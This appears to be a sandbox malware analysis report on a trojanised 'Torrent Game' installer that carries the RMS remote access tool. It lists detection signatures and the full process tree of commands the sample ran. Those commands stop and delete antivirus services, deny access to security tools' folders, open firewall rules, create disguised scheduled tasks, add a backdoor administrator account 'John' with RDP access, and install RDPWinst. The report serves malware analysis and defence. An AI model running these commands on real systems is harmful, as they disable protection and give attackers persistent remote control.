Overview

overview

10

Static

static

7

Torrent Game.zip

windows11-21h2-x64

1

Torrent Ga...ll.exe

windows11-21h2-x64

7

Torrent Ga...up.exe

windows11-21h2-x64

10

Torrent Ga...a0.exe

windows11-21h2-x64

1

Torrent Ga...a1.exe

windows11-21h2-x64

3

Torrent Ga...a2.bin

windows11-21h2-x64

3

Torrent Ga...a3.bin

windows11-21h2-x64

3

Torrent Ga...a4.bin

windows11-21h2-x64

3

Torrent Ga...a5.bin

windows11-21h2-x64

3

Analysis

  • max time kernel
    150s
  • max time network
    172s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240419-en
  • resource tags

    arch:x64arch:x86image:win11-20240419-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    30-04-2024 08:50

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Torrent Game/Setup.exe

  • Size

    6.8MB

  • MD5

    f0f01fb9ad7ecab5d698da5679175f29

  • SHA1

    314198b1a6cf81cd3b64a91f4eab5ad881ecff2c

  • SHA256

    5f1c46da9e266b1f7f31953e593636c6b0e1968636e81e62e820122bfa40706f

  • SHA512

    c67c093543bd7ef126801dd6e42a6864471dede82d35bdf9c2c508d63af9d0effd6ca312c37bc1261925ba027d4162543ce5267eb93eb5d14abf6d2b89fabf9c

  • SSDEEP

    196608:+/Qr1IjiQrQg+2JraSvJ4NQ7Esnoy8aX8v:V1GiQrQ7HSvJRzoy8aXw

Score
10/10
rmsdiscoveryevasionpersistenceratthemidatrojan

Malware Config

Signatures

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 7 IoCs
    evasiontrojan
  • Modifies Windows Defender notification settings 3 TTPs 2 IoCs
    evasiontrojan
  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

    trojanratrms
  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 7 IoCs
    evasion
  • Blocks application from running via registry modification 29 IoCs

    Adds application to list of disallowed applications.

    evasion
  • Drops file in Drivers directory 2 IoCs
  • Modifies Windows Firewall 2 TTPs 8 IoCs
    evasion
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
    persistence
  • Stops running service(s) 3 TTPs
    evasion
  • Checks BIOS information in registry 2 TTPs 14 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Executes dropped EXE 14 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies file permissions 1 TTPs 64 IoCs
    discovery
  • Themida packer 61 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 7 IoCs
    evasiontrojan
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 4 IoCs
    persistence
  • AutoIT Executable 47 IoCs

    AutoIT scripts compiled to PE executables.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 7 IoCs
  • Drops file in Program Files directory 52 IoCs
  • Launches sc.exe 6 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 4 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 9 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Delays execution with timeout.exe 2 IoCs
    evasion
  • Modifies registry class 3 IoCs
  • NTFS ADS 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of SetWindowsHookEx 21 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\Torrent Game\Setup.exe
    "C:\Users\Admin\AppData\Local\Temp\Torrent Game\Setup.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2856
    • C:\Users\Admin\AppData\Local\Temp\Torrent Game\GameInstall.exe
      "C:\Users\Admin\AppData\Local\Temp\Torrent Game\GameInstall.exe"
      2⤵
      • Executes dropped EXE
      PID:2152
    • C:\ProgramData\Setup\install.exe
      C:\ProgramData\Setup\install.exe -pputinxuilo6
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:2552
      • C:\ProgramData\Setup\GameGuard.exe
        "C:\ProgramData\Setup\GameGuard.exe"
        3⤵
        • Modifies Windows Defender Real-time Protection settings
        • Modifies Windows Defender notification settings
        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
        • Blocks application from running via registry modification
        • Checks BIOS information in registry
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • Modifies WinLogon
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        • Suspicious use of WriteProcessMemory
        PID:5076
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc delete swprv
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4100
          • C:\Windows\system32\sc.exe
            sc delete swprv
            5⤵
            • Launches sc.exe
            PID:1368
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc stop mbamservice
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3972
          • C:\Windows\system32\sc.exe
            sc stop mbamservice
            5⤵
            • Launches sc.exe
            PID:760
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc stop bytefenceservice
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3688
          • C:\Windows\system32\sc.exe
            sc stop bytefenceservice
            5⤵
            • Launches sc.exe
            PID:908
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc delete bytefenceservice
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1404
          • C:\Windows\system32\sc.exe
            sc delete bytefenceservice
            5⤵
            • Launches sc.exe
            PID:2928
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc delete mbamservice
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1920
          • C:\Windows\system32\sc.exe
            sc delete mbamservice
            5⤵
            • Launches sc.exe
            PID:3432
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc delete crmsvc
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1880
          • C:\Windows\system32\sc.exe
            sc delete crmsvc
            5⤵
            • Launches sc.exe
            PID:3556
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state on
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2180
          • C:\Windows\system32\netsh.exe
            netsh advfirewall set allprofiles state on
            5⤵
            • Modifies Windows Firewall
            PID:4128
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4244
          • C:\Windows\system32\netsh.exe
            netsh advfirewall firewall add rule name="AppModule" dir=in action=allow program="C:\ProgramData\WindowsTask\AppModule.exe" enable=yes
            5⤵
            • Modifies Windows Firewall
            PID:1000
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4620
          • C:\Windows\system32\netsh.exe
            netsh advfirewall firewall add rule name="AMD" dir=in action=allow program="C:\ProgramData\WindowsTask\AMD.exe" enable=yes
            5⤵
            • Modifies Windows Firewall
            PID:3336
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2192
          • C:\Windows\system32\netsh.exe
            netsh advfirewall firewall add rule name="Port Blocking" protocol=TCP localport=445 action=block dir=IN
            5⤵
            • Modifies Windows Firewall
            PID:1260
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:3468
          • C:\Windows\system32\netsh.exe
            netsh advfirewall firewall add rule name="Port Blocking" protocol=UDP localport=445 action=block dir=IN
            5⤵
            • Modifies Windows Firewall
            PID:4580
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4328
          • C:\Windows\system32\netsh.exe
            netsh advfirewall firewall add rule name="Port Block" protocol=TCP localport=139 action=block dir=IN
            5⤵
            • Modifies Windows Firewall
            PID:4264
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
          4⤵
            PID:2740
            • C:\Windows\system32\netsh.exe
              netsh advfirewall firewall add rule name="Port Block" protocol=UDP localport=139 action=block dir=IN
              5⤵
              • Modifies Windows Firewall
              PID:3592
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c gpupdate /force
            4⤵
              PID:3280
              • C:\Windows\system32\gpupdate.exe
                gpupdate /force
                5⤵
                  PID:3764
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c C:\Programdata\Install\Delete.bat
                4⤵
                  PID:2076
                  • C:\Windows\system32\timeout.exe
                    timeout 5
                    5⤵
                    • Delays execution with timeout.exe
                    PID:2240
              • C:\ProgramData\Setup\update.exe
                "C:\ProgramData\Setup\update.exe"
                3⤵
                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                • Drops file in Drivers directory
                • Checks BIOS information in registry
                • Executes dropped EXE
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Drops file in Program Files directory
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of SetWindowsHookEx
                PID:4512
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\ExpressCheckUP" /TR "C:\Programdata\ReaItekHD\taskhost.exe" /SC MINUTE /MO 1 /RL HIGHEST
                  4⤵
                  • Creates scheduled task(s)
                  PID:2764
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\CheckUP" /TR "C:\Programdata\ReaItekHD\taskhostw.exe" /SC MINUTE /MO 2 /RL HIGHEST
                  4⤵
                  • Creates scheduled task(s)
                  PID:1068
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\CheckGlobal" /TR "C:\Windows\SysWOW64\unsecapp.exe" /SC MINUTE /MO 1 /RL HIGHEST
                  4⤵
                  • Creates scheduled task(s)
                  PID:4536
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\WinlogonCheck" /TR "C:\Programdata\ReaItekHD\taskhost.exe" /SC ONLOGON /RL HIGHEST
                  4⤵
                  • Creates scheduled task(s)
                  PID:2644
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\WindowsBackup\OnlogonCheck" /TR "C:\Programdata\ReaItekHD\taskhostw.exe" /SC ONLOGON /RL HIGHEST
                  4⤵
                  • Creates scheduled task(s)
                  PID:1156
                • C:\ProgramData\Microsoft\win.exe
                  C:\ProgramData\Microsoft\win.exe -ppidar
                  4⤵
                  • Executes dropped EXE
                  • Suspicious use of SetWindowsHookEx
                  PID:3128
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\DataBaseD\RecoveryHosts" /TR "C:\ProgramData\Microsoft\Windows\Aljy2WaWirYOCSFb6j\DataBaseD.bat" /SC ONLOGON /RL HIGHEST
                  4⤵
                  • Creates scheduled task(s)
                  PID:3288
                • C:\Windows\System32\schtasks.exe
                  "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\Hor" /TR "C:\ProgramData\Microsoft\Windows\Aljy2WaWirYOCSFb6j\\Game.exe -ppidar" /SC ONCE /ST 11:59 /SD 30/04/2024 /RL HIGHEST
                  4⤵
                  • Creates scheduled task(s)
                  PID:932
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT_Data" /deny "%username%":(OI)(CI)(F)
                  4⤵
                    PID:3132
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                    4⤵
                      PID:1832
                      • C:\Windows\system32\icacls.exe
                        icacls C:\KVRT_Data /deny system:(OI)(CI)(F)
                        5⤵
                        • Modifies file permissions
                        PID:2960
                    • C:\ProgramData\Setup\svchost.exe
                      C:\ProgramData\Setup\svchost.exe -ppidar
                      4⤵
                      • Executes dropped EXE
                      • Suspicious use of SetWindowsHookEx
                      PID:5088
                      • C:\ProgramData\Setup\IP.exe
                        "C:\ProgramData\Setup\IP.exe"
                        5⤵
                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Adds Run key to start application
                        • Checks whether UAC is enabled
                        • Drops file in System32 directory
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • NTFS ADS
                        • Suspicious use of SetWindowsHookEx
                        PID:2252
                        • C:\Windows\SysWOW64\unsecapp.exe
                          C:\Windows\SysWOW64\unsecapp.exe
                          6⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Checks whether UAC is enabled
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • Suspicious behavior: GetForegroundWindowSpam
                          PID:3888
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c C:\Programdata\Microsoft\temp\H.bat
                          6⤵
                          • Drops file in Drivers directory
                          PID:1180
                      • C:\ProgramData\Setup\smss.exe
                        "C:\ProgramData\Setup\smss.exe"
                        5⤵
                        • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                        • Checks BIOS information in registry
                        • Executes dropped EXE
                        • Checks whether UAC is enabled
                        • Suspicious use of NtSetInformationThreadHideFromDebugger
                        • Drops file in Program Files directory
                        • Checks processor information in registry
                        • Modifies registry class
                        • NTFS ADS
                        • Suspicious use of SetWindowsHookEx
                        PID:4348
                        • C:\Windows\System32\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
                          6⤵
                          • Creates scheduled task(s)
                          PID:4492
                        • C:\Windows\System32\schtasks.exe
                          "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
                          6⤵
                          • Creates scheduled task(s)
                          PID:2084
                        • C:\ProgramData\Windows Tasks Service\winserv.exe
                          "C:\ProgramData\Windows Tasks Service\winserv.exe"
                          6⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of SetWindowsHookEx
                          PID:4264
                          • C:\ProgramData\Windows Tasks Service\winserv.exe
                            "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
                            7⤵
                            • Executes dropped EXE
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of SetWindowsHookEx
                            PID:4232
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c net user John 12345 /add
                          6⤵
                            PID:3912
                            • C:\Windows\system32\net.exe
                              net user John 12345 /add
                              7⤵
                                PID:4676
                                • C:\Windows\system32\net1.exe
                                  C:\Windows\system32\net1 user John 12345 /add
                                  8⤵
                                    PID:2748
                              • C:\Windows\system32\cmd.exe
                                C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
                                6⤵
                                  PID:2424
                                  • C:\Windows\system32\net.exe
                                    net localgroup "Администраторы" John /add
                                    7⤵
                                      PID:2268
                                      • C:\Windows\system32\net1.exe
                                        C:\Windows\system32\net1 localgroup "Администраторы" John /add
                                        8⤵
                                          PID:648
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
                                      6⤵
                                        PID:2228
                                        • C:\Windows\system32\net.exe
                                          net localgroup "Пользователи удаленного рабочего стола" John /add
                                          7⤵
                                            PID:2776
                                            • C:\Windows\system32\net1.exe
                                              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
                                              8⤵
                                                PID:3536
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
                                            6⤵
                                              PID:4688
                                              • C:\Windows\system32\net.exe
                                                net localgroup "Пользователи удаленного управления" john /add" John /add
                                                7⤵
                                                  PID:1424
                                                  • C:\Windows\system32\net1.exe
                                                    C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
                                                    8⤵
                                                      PID:1180
                                                • C:\Windows\system32\cmd.exe
                                                  C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
                                                  6⤵
                                                    PID:1096
                                                    • C:\Windows\system32\net.exe
                                                      net localgroup "Administrators" John /add
                                                      7⤵
                                                        PID:1752
                                                        • C:\Windows\system32\net1.exe
                                                          C:\Windows\system32\net1 localgroup "Administrators" John /add
                                                          8⤵
                                                            PID:1100
                                                      • C:\Windows\system32\cmd.exe
                                                        C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
                                                        6⤵
                                                          PID:5036
                                                          • C:\Windows\system32\net.exe
                                                            net localgroup "Administradores" John /add
                                                            7⤵
                                                              PID:2792
                                                              • C:\Windows\system32\net1.exe
                                                                C:\Windows\system32\net1 localgroup "Administradores" John /add
                                                                8⤵
                                                                  PID:4876
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
                                                              6⤵
                                                                PID:2380
                                                                • C:\Windows\system32\net.exe
                                                                  net localgroup "Remote Desktop Users" john /add
                                                                  7⤵
                                                                    PID:4980
                                                                    • C:\Windows\system32\net1.exe
                                                                      C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
                                                                      8⤵
                                                                        PID:3260
                                                                  • C:\ProgramData\RDPWinst.exe
                                                                    C:\ProgramData\RDPWinst.exe -i
                                                                    6⤵
                                                                    • Sets DLL path for service in the registry
                                                                    • Executes dropped EXE
                                                                    • Modifies WinLogon
                                                                    • Drops file in System32 directory
                                                                    • Drops file in Program Files directory
                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                    • Suspicious use of SetWindowsHookEx
                                                                    PID:3680
                                                                    • C:\Windows\SYSTEM32\netsh.exe
                                                                      netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                                                                      7⤵
                                                                      • Modifies Windows Firewall
                                                                      PID:1404
                                                              • C:\ProgramData\Setup\Desktop.exe
                                                                C:\ProgramData\Setup\Desktop.exe
                                                                4⤵
                                                                • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                                                                • Checks BIOS information in registry
                                                                • Executes dropped EXE
                                                                • Checks whether UAC is enabled
                                                                • Suspicious use of NtSetInformationThreadHideFromDebugger
                                                                • Drops file in Program Files directory
                                                                • Checks processor information in registry
                                                                • Suspicious use of FindShellTrayWindow
                                                                • Suspicious use of SendNotifyMessage
                                                                • Suspicious use of SetWindowsHookEx
                                                                PID:4956
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny "%username%":(OI)(CI)(F)
                                                                4⤵
                                                                  PID:2664
                                                                  • C:\Windows\system32\icacls.exe
                                                                    icacls "C:\Program Files (x86)\Microsoft JDX" /deny "Admin":(OI)(CI)(F)
                                                                    5⤵
                                                                      PID:3816
                                                                  • C:\Windows\system32\cmd.exe
                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                    4⤵
                                                                      PID:2220
                                                                      • C:\Windows\system32\icacls.exe
                                                                        icacls "C:\Program Files (x86)\Microsoft JDX" /deny System:(OI)(CI)(F)
                                                                        5⤵
                                                                        • Modifies file permissions
                                                                        PID:228
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny "%username%":(OI)(CI)(F)
                                                                      4⤵
                                                                        PID:3392
                                                                        • C:\Windows\system32\icacls.exe
                                                                          icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny "Admin":(OI)(CI)(F)
                                                                          5⤵
                                                                            PID:484
                                                                        • C:\Windows\system32\cmd.exe
                                                                          C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                          4⤵
                                                                            PID:1356
                                                                            • C:\Windows\system32\icacls.exe
                                                                              icacls "C:\Program Files\Common Files\System\iediagcmd.exe" /deny System:(OI)(CI)(F)
                                                                              5⤵
                                                                              • Modifies file permissions
                                                                              PID:3996
                                                                          • C:\Windows\system32\cmd.exe
                                                                            C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny "%username%":(OI)(CI)(F)
                                                                            4⤵
                                                                              PID:3968
                                                                              • C:\Windows\system32\icacls.exe
                                                                                icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny "Admin":(OI)(CI)(F)
                                                                                5⤵
                                                                                  PID:3876
                                                                              • C:\Windows\system32\cmd.exe
                                                                                C:\Windows\system32\cmd.exe /c icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                                4⤵
                                                                                  PID:3716
                                                                                  • C:\Windows\system32\icacls.exe
                                                                                    icacls "c:\programdata\microsoft\clr_optimization_v4.0.30318_64" /deny System:(OI)(CI)(F)
                                                                                    5⤵
                                                                                    • Modifies file permissions
                                                                                    PID:1256
                                                                                • C:\Windows\system32\cmd.exe
                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny "%username%":(OI)(CI)(F)
                                                                                  4⤵
                                                                                    PID:5116
                                                                                    • C:\Windows\system32\icacls.exe
                                                                                      icacls "C:\Windows\Fonts\Mysql" /deny "Admin":(OI)(CI)(F)
                                                                                      5⤵
                                                                                        PID:232
                                                                                    • C:\Windows\system32\cmd.exe
                                                                                      C:\Windows\system32\cmd.exe /c icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                      4⤵
                                                                                        PID:2956
                                                                                        • C:\Windows\system32\icacls.exe
                                                                                          icacls "C:\Windows\Fonts\Mysql" /deny System:(OI)(CI)(F)
                                                                                          5⤵
                                                                                          • Modifies file permissions
                                                                                          PID:752
                                                                                      • C:\Windows\system32\cmd.exe
                                                                                        C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny "%username%":(OI)(CI)(F)
                                                                                        4⤵
                                                                                          PID:2596
                                                                                          • C:\Windows\system32\icacls.exe
                                                                                            icacls "c:\program files\Internet Explorer\bin" /deny "Admin":(OI)(CI)(F)
                                                                                            5⤵
                                                                                              PID:1932
                                                                                          • C:\Windows\system32\cmd.exe
                                                                                            C:\Windows\system32\cmd.exe /c icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                            4⤵
                                                                                              PID:324
                                                                                              • C:\Windows\system32\icacls.exe
                                                                                                icacls "c:\program files\Internet Explorer\bin" /deny system:(OI)(CI)(F)
                                                                                                5⤵
                                                                                                • Modifies file permissions
                                                                                                PID:4944
                                                                                            • C:\Windows\system32\cmd.exe
                                                                                              C:\Windows\system32\cmd.exe " /c " & "icacls "C:\Windows\speechstracing" /deny "%username%":(OI)(CI)(F)
                                                                                              4⤵
                                                                                                PID:2924
                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                C:\Windows\system32\cmd.exe /c icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                                4⤵
                                                                                                  PID:3476
                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                    icacls C:\Windows\speechstracing /deny system:(OI)(CI)(F)
                                                                                                    5⤵
                                                                                                    • Modifies file permissions
                                                                                                    PID:5108
                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                  C:\Windows\system32\cmd.exe " /c " & "icacls "c:\programdata\Malwarebytes" /deny "%username%":(F)
                                                                                                  4⤵
                                                                                                    PID:2860
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    C:\Windows\system32\cmd.exe /c icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                                    4⤵
                                                                                                      PID:4920
                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                        icacls c:\programdata\Malwarebytes /deny System:(F)
                                                                                                        5⤵
                                                                                                          PID:2524
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        C:\Windows\system32\cmd.exe " /c " & "icacls "C:\Programdata\MB3Install" /deny "%username%":(F)
                                                                                                        4⤵
                                                                                                          PID:4668
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          C:\Windows\system32\cmd.exe /c icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                                          4⤵
                                                                                                            PID:3568
                                                                                                            • C:\Windows\system32\icacls.exe
                                                                                                              icacls C:\Programdata\MB3Install /deny System:(F)
                                                                                                              5⤵
                                                                                                                PID:4900
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              C:\Windows\system32\cmd.exe " /c " & "icacls "C:\Programdata\Indus" /deny "%username%":(OI)(CI)(F)
                                                                                                              4⤵
                                                                                                                PID:920
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                C:\Windows\system32\cmd.exe /c icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                                                4⤵
                                                                                                                  PID:2732
                                                                                                                  • C:\Windows\system32\icacls.exe
                                                                                                                    icacls C:\Programdata\Indus /deny System:(OI)(CI)(F)
                                                                                                                    5⤵
                                                                                                                    • Modifies file permissions
                                                                                                                    PID:1800
                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                  C:\Windows\system32\cmd.exe " /c " & "icacls "C:\AdwCleaner" /deny "%username%":(OI)(CI)(F)
                                                                                                                  4⤵
                                                                                                                    PID:5068
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    C:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ByteFence" /deny "%username%":(OI)(CI)(F)
                                                                                                                    4⤵
                                                                                                                      PID:4496
                                                                                                                      • C:\Windows\system32\icacls.exe
                                                                                                                        icacls "C:\Program Files\ByteFence" /deny "Admin":(OI)(CI)(F)
                                                                                                                        5⤵
                                                                                                                        • Modifies file permissions
                                                                                                                        PID:2908
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      C:\Windows\system32\cmd.exe " /c " & "icacls "C:\KVRT2020_Data" /deny "%username%":(OI)(CI)(F)
                                                                                                                      4⤵
                                                                                                                        PID:5096
                                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                                        C:\Windows\system32\cmd.exe /c icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
                                                                                                                        4⤵
                                                                                                                          PID:2916
                                                                                                                          • C:\Windows\system32\icacls.exe
                                                                                                                            icacls C:\KVRT2020_Data /deny system:(OI)(CI)(F)
                                                                                                                            5⤵
                                                                                                                              PID:4216
                                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                                            C:\Windows\system32\cmd.exe " /c " & "icacls "C:\FRST" /deny "%username%":(OI)(CI)(F)
                                                                                                                            4⤵
                                                                                                                              PID:4736
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              C:\Windows\system32\cmd.exe /c icacls C:\FRST /deny system:(OI)(CI)(F)
                                                                                                                              4⤵
                                                                                                                                PID:4976
                                                                                                                                • C:\Windows\system32\icacls.exe
                                                                                                                                  icacls C:\FRST /deny system:(OI)(CI)(F)
                                                                                                                                  5⤵
                                                                                                                                    PID:1912
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  C:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\360" /deny "%username%":(OI)(CI)(F)
                                                                                                                                  4⤵
                                                                                                                                    PID:2060
